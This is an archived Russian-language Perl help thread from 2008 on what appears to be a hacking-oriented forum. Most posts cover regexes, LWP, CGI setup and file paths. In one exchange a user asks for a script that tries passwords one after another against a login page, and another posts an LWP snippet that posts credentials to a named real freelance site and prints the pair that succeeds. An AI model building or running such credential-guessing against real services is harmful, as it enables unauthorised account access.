делай вывод ответа с сервака через print -- и анализируй что он тебе пишет - сначала авторизацию потом постинг и тд - все должно воркать-пока сам не разберешся ничего небуит-наберайся опыта

GAVVVR

30.07.2008, 01:24

А как в Perl написать email адес, чтобы он его правильно понял. А то он мне что то парит типа.

Possible unintended interpolation of @rambler in string at ***** line 38.
Name "main::rambler" used only once: possible typo at *****line 38.

Что это значит?

Piflit

30.07.2008, 01:29

А как в Perl написать email адес, чтобы он его правильно понял. А то он мне что то парит типа.

Что это значит?
строку 38 покажи

GAVVVR

30.07.2008, 01:43

Всё. сорри. Он же не понимает правильно "@" - ему надо "%40"

Piflit

30.07.2008, 01:44

Всё. сорри. Он же не понимает правильно "@" - ему надо "%40"
кто? все телепаты уже спят

GAVVVR

30.07.2008, 01:52

Perl не понимает символ "@", как надо. Он же считает, что это к массиву относится. поэтому вместо "@" - "%40"!

Piflit

30.07.2008, 01:55

Perl не понимает символ "@", как надо. Он же считает, что это к массиву относится. поэтому вместо "@" - "%40"!
или выложи код, или тут не о чем говорить имхо

GAVVVR

30.07.2008, 02:29

Да я разобрался уже :)

genom--

30.07.2008, 05:29

странно я почемуто '@' писал всегда или "\@" - уже на крайняк
по сравнению с "%40" - меньше на 1-2 символа =)

пиф он нав имел ввиду в строке какойнить которую он обрамляет ""

Piflit

30.07.2008, 12:44

genom-- если он про регулярку, то да, с бэкслешем. а может и про кавычки. хз в общем.

Tw!m4

31.07.2008, 17:10

задача такова...

у нас стоит мэйловский сервак (линух) в другом городе, который достовляет письма на другой сервак в наше бюро. Можно ли при помощи перла вычеслить скока заняло время доставки? мне цикловский скрипт нужен...

genom--

01.08.2008, 00:38

ну у демона который отсылает письма логи ведудся же какието - или прога(скрипт) которая отправляет тоже логи должны быть -- в чем проблема пропарсить лог и сравнить с временем получения ?

да и недумаю что там такие большие задержки - макс 10 минут наверное

Tw!m4

04.08.2008, 11:14

не, у нас может до часа задерживаться, если спам атака идет. В один день получили около 3000 мыл за пару сек.

на счёт логов посмотрю, пасиба.

zlo12

07.08.2008, 15:27

Как написать скрипт который гетом берет страницу с переданными данными логин и пароль... И сравнивает с правильной, а при неправильной берёт след. пароль...
Мучался долго, не получаеццо... поможите люди добрые кто чем может...

biophreak

07.08.2008, 17:32

perldoc LWP::UserAgent, искать по слову get =)

zlo12

07.08.2008, 20:20

perldoc LWP::UserAgent, искать по слову get =)
эмм...тема для новичков, я нихрена не понял)))
Короче ладно, вопрос снимаю, по ходу ничего нужного не узнаю, пойду поищу где-нить не тут) ;)

Kaimi

07.08.2008, 22:36

#! /usr/bin/perl -w
use LWP::UserAgent;

$login = 'Vasya;
$pwd = 'Petya';
$ua = LWP::UserAgent->new();
$res = $ua->post( "http://www.free-lance.ru", {login => $login , passwd => $pwd, action => 'login', button => '%C2%F5%EE%E4'} )->as_string;
if($res =~ /чо-нибудь символизирующее удачный заход/)
{
print $login.$pwd;
}

biophreak

08.08.2008, 08:51

Хм... 2 zlo12: Глянь на досуге что такое perldoc, потом сильно поможет...

GAVVVR

08.08.2008, 22:20

А у меня такая ситуация. Нужно попасть в раздел сайта, который доступен только, если авторизовался.
Как поступить в такой ситуации?

Piflit

08.08.2008, 22:23

авторизироваться

GAVVVR

08.08.2008, 22:37

И как "авторизироваться" я немного не шарю. И как сделать, чтобы сессия не пропала?

genom--

09.08.2008, 06:58

сессия поидеи серавно в куках хранится - как их подлепить смотри на предыдущих страницах

zlo12

09.08.2008, 08:29

понял, что ничего не знаю и решил начать изучать perl с 0, зашёл на википедию, читаю
Пример программы

Простейшая программа Hello world выглядит следующим образом:

#!/usr/bin/perl
print "Hello, world!\n";

Пробую, на полсекунды открывается окошко и закрывается, вопрос: в чём прикол?

GAVVVR

09.08.2008, 11:40

Пробую, на полсекунды открывается окошко и закрывается, вопрос: в чём прикол?
С одной стороны все правильно. Он на полсекунды открывает окно, выполняет эту команду(выводит текст) и закрывается.
Чтобы окно не закрывалось-открой командную строку (пуск->выполнить->cmd) и оттуда уже запускай скрипт.:)
А есть еще одно решение этой проблемы. Надо что то написать в самом коде скрипта, тогда окно не закроется. Только вот 'что' написать-я не помню :(

zlo12

09.08.2008, 13:21

#!/usr/bin/perl -w
print "Hello, world!\n";
while ( <> ){
$n++ if eof;
$n-- if /<title>([^<]+)/i;
}
print "$n\n"
Во! так не закрывается))

GAVVVR

09.08.2008, 17:12

@а = <STDIN>;
Нужно выполнить ввод в массив, но при нажатии на enter ввод не заканчивается.
как в командной строке обозначить, что я завершил ввод в массив?
В книге было написано так:

[Ctrl+D]* (чтобы обозначить конец файла)
* В некоторых системах конец файла обозначается нажатием клавиш [Ctrl+Z], а в других эта комбинация служит для приостановки выполняемого процесса.

А как мне в винде обозначить конец ввода? я не понимаю. Вроде и [Ctrl+Z] и [Ctrl+D] жал, но всё равно не получается :(

GAVVVR

12.08.2008, 16:49

И у меня еще нубская проблема.
Покажу на простом примере:
#!/usr/bin/perl -w

use LWP::Simple;
$doc = getstore('http://localhost/', 'C:\Documents and Settings\****\Мои документы\Perl\**********\saved.txt');
print $doc;
Вот таким образом скрипт работает, как положено.
Но мне хотелось бы не писать полный путь к файлу.
Пишу вот так:
$doc = getstore('http://localhost/', 'saved.txt');
Но почему то перл не видит этот файл в текущей директории, хотя он есть. И у меня всегда возникает такая проблема. Почему то перл не видит файл в текущем каталоге. Может я не так пишу?

krypt3r

13.08.2008, 06:42

А так?

$doc = getstore('http://localhost/', './saved.txt');

GAVVVR

13.08.2008, 15:44

krypt3r, неа. И так тоже не хочет :(
Может Перл старый? У меня v5.8.0
Новый качать дороговато по трафику)))

Kaimi

13.08.2008, 15:55

Попробуй так:
use Cwd 'abs_path';

$doc = getstore('http://localhost/', abs_path('saved.txt'));

GAVVVR

13.08.2008, 16:32

Это что то совсем левое. Про диру пишет в ошибке:
Cannot chdir to saved.txt: No such file or directory

m0nzt3r

13.08.2008, 16:39

<textarea style="width:100%;height:500px" cols="110" rows="25" name="filecontent" class="inputbox">xek</textarea>

это ненормальная регулярка для верхнего?) не работает =\

<textarea .* \>(.+?)<\/textarea\>

ZAMUT

13.08.2008, 16:49

=~ m#>(.+)<#;

Piflit

13.08.2008, 18:06

m0nzt3r
в твоем варианте не надо экранировать знаки больше и меньше, и вот здесь будет ошибка .* \>, т.к. в строке нет пробела перед знаком больше

m0nzt3r

13.08.2008, 21:13

такая регулярка:
/<textarea[^>]+>(.*?)</textarea>/
берет без проблем, но то, что я показал, всего лишь пример.

В реальном же случае в textarea полно текста, и регулярка не действует на него. Проблема в кол-ве текста чтоли?

Piflit

13.08.2008, 21:48

m0nzt3r
если текст находится на нескольких строках, то юзай модификатор s
/<textarea[^>]+>(.*?)</textarea>/s

Xszz

13.08.2008, 21:57

/<textarea .* \>(.+?)<\/textarea\>/x

m0nzt3r

13.08.2008, 22:20

Всё это не работает =\
Ещё вопрос, можно ли использовать переменную в регулярке?
Пример: $s =~ /$regex/

ZAMUT

13.08.2008, 22:26

Ещё вопрос, можно ли использовать переменную в регулярке?
Пример: $s =~ /$regex/
можно

m0nzt3r

13.08.2008, 22:35

ну а что тут показывать?)
ну:

$num = 0;
$regex = '<input type="radio" id="cb'.$num.'" name="cid\[\]" value="(.+?)"';
$res->content =~ /$regex/;
print $1;

так?:)

Kaimi

13.08.2008, 22:40

Пример
$bm =~ s/<name>/$name/g;

ZAMUT

13.08.2008, 22:43

#!/usr/bin/perl
use strict;
my $s = 'bla-x3k-bla';
my $regex = "-(.+)-";
$s=~/$regex/;

print $1."\n";

Xszz

14.08.2008, 15:35

$num = 0;
$regex = qr[<input type="radio" id="cb'.$num.'" name="cid\[\]" value="(.+?)"];
$res->content =~ $regex;
print $1;

$p01nt

16.08.2008, 17:38

my $arr=system(ls);
my @xx=split(' ',$arr);
print @xx;

получаю список папок в скляр, теперь мне надо что бы в массиве были эти данные, НО не все папки в одном значение (т.е. $xx[0]=все) а $xx[0]=первая папка. Как сделать?

n3m0

16.08.2008, 18:23

krypt3r

18.08.2008, 06:45

opendir/readdir/closedir

.::BARS::.

18.08.2008, 18:55

Впервые пытаюсь апустить скрипт.. в чем проблема http://4iks.ru/cgi-bin/drug.pl ? скрипт добавления в друзья http://forum.antichat.ru/showpost.php?p=786700&postcount=136 как правильно запустить скрипт?

Если можно расскажите подробней!

.::BARS::.

19.08.2008, 04:35

ТО есть я могу его запустить на топсервере, на винде?

genom--

19.08.2008, 04:41

смотри сразу консольные pl и cgi это разные хрени - выводы хедеры и тд жеще под cgi намного --- запускай из консоли я думаю -- и смотри код

.::BARS::.

19.08.2008, 04:44

смотри сразу консольные pl и cgi это разные хрени - выводы хедеры и тд жеще под cgi намного --- запускай из консоли я думаю -- и смотри код
не понял ни слова.... лучше проще... можно ли денвер, топсервер?

krypt3r

19.08.2008, 07:40

У Генома язык подозрительно заплетается что-то ))) .::BARS::., уверен, что сервак поддерживает CGI? Залей пробную цегеишку в cgi-bin

#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print "<html><body><h1>This is CGI-script</h1>" .
"<p>Apache installed</p></body></html>";
exit 0;

Поставь права 755 и вызови из браузера. Если прошло гуд, то куда-нить в начало скрипта drug.pl вставь

print "Content-Type: text/html\r\n\r\n";

и запусти еще раз. Если не пойдет, то проверь на сервере наличие модулей LWP и HTTP, - возможно, их там нет

genom--

19.08.2008, 14:50

ээээээээ пияный писал ))))

да блин открой скрипт да глянь под что он заточен
тупо помойму консольный скрипт запускать из под веб сервера 0 лудше уже перл слить и не париться - тк там потом серавно с выводом лаги будут

timlame

21.08.2008, 09:52

С регулярками тока начал разбиратся, но уже столкнулся с проблемой.
Имею кусок HTML в переменной $data

.........
</td><td width="20px" style="vertical-align:top">
<div class="vred">
<dl class="clex">
<dt>Статус:</dt>
<dd>
Загорает на пляже )
</dd>

<dt>Будет скора дома:</dt>
<dd>может быть</dd>
.........

имею следующий код на perl:

$data=~/<dt>Имя:<\/dt>\n\s+<dd>\n(.+)\n\s+<\/dd>/
$status=$1;

хочется что-бы в $status попало "Загорает на пляже )"

Где я ошибся?

timlame

21.08.2008, 12:15

Всё разобрался, дело было в кодировке =)

n3m0

21.08.2008, 13:28

timlame,

m,<dt>Статус:</dt>\s+<dd>\s+(.+)\s+</dd>,

timlame

23.08.2008, 00:22

еще вопросик по регуляркам

итак, имеем переменную $data, которая содержит следующие данные:

want
understand
all
11
and
would
all
the
veshches
things
a
a
a
a
had
done...and
would
not
able
really
stop
him
a
And
nor
would

Задача, выкинуть отсюда все слова длинной 1 или 2 символа. Для этого я использую следующий регепс:

$data=~s/\n.{1,2}\n/\n/gs;

но я получаю следующие:

want
understand
all
and
would
all
the
veshches
things
a
a
had
done...and
would
not
able
really
stop
him
And
nor
would

остались двa "a", почему ???

Xszz

23.08.2008, 01:48

foreach ( split "\n",$data ){
next if ( length($_) <= 2 );
print $_,"\n";
}

timlame

23.08.2008, 13:50

ну это неспортивно, хотелось бы одной регуляркой обойтись ;)

Xszz

23.08.2008, 14:45

$data =~ s/^\w{1,2}$//gm

timlame

23.08.2008, 14:56

Неа, так тоже не прокатит, во первых надо ^ надо наверное заменить на ^|\n, а во вторых это тока для alphanumeric-символов, т.е. если к примеру встретится слово "++" то регулярка его пропустит (

зы. Только что поигрался с тем что ты предложил, тока немного поправив $data =~ s/\n\w{1,2}\n//gm, всеравно пропускает слова длинною <=2 в случае если они идут друг за другом. Запутался я совсем чегото :confused:

Xszz

23.08.2008, 15:14

Неа, так тоже не прокатит, во первых надо ^ надо наверное заменить на ^|\n, а во вторых это тока для alphanumeric-символов, т.е. если к примеру встретится слово "++" то регулярка его пропустит (

Как не то ? , регулярное выражение полностью соответствует критериям выше #739 .
модификатор /m - Разрешает ^ и $ устанавливать соответствие рядом со встроенным \n .

Вот если бы встретилось , слово "++" в посте #739 , тогда была б другая регулярка =)

Экстрасенсов нету , задаём правильные вопросы - получаем правильные ответы